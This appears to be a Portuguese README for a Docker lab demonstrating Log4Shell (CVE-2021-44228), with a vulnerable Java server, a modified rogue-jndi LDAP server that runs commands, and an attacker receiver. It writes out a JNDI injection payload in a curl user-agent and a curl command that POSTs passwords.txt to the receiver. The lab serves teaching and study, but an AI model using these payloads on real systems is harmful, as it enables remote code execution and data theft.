
Demonstração baseada em Docker da exploração do CVE-2021-44228 (Log4Shell), apresentando um servidor Java vulnerável, um servidor LDAP malicioso e exfiltração de dados para um receptor controlado pelo atacante.
Uma demonstração simples do CVE-2021-44228 para transferir dados de um servidor vulnerável para um serviço web controlado por um atacante. Todos os componentes envolvidos estão rodando via Docker.
Este é um servidor Java padrão agindo como a vítima. Está rodando:
8u111Este servidor está VULNERÁVEL usando esta configuração.
Informações Adicionais:
/logging (GET) irá registrar o user agent usando Log4J/foo/passwords.txt existe (alvo do atacante)Conteúdo de passwords.txt:
my secret
Este é um servidor Java padrão agindo como o coletor de dados do atacante. Está rodando:
17Informações adicionais:
receiver (POST) irá registrar o corpo da requisiçãoEste é um servidor LDAP alimentado por rogue-jndi.
Sua classe ExportJava foi modificada para que comandos passados via a flag -c sejam executados.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
Quando requisitado pelo servidor vulnerável, ele responderá com uma classe executando o seguinte comando quando instanciada:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Isso efetivamente enviará o conteúdo de /foo/passwords.txt para o endpoint preparado do receptor malicioso.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt do servidor../stop.sh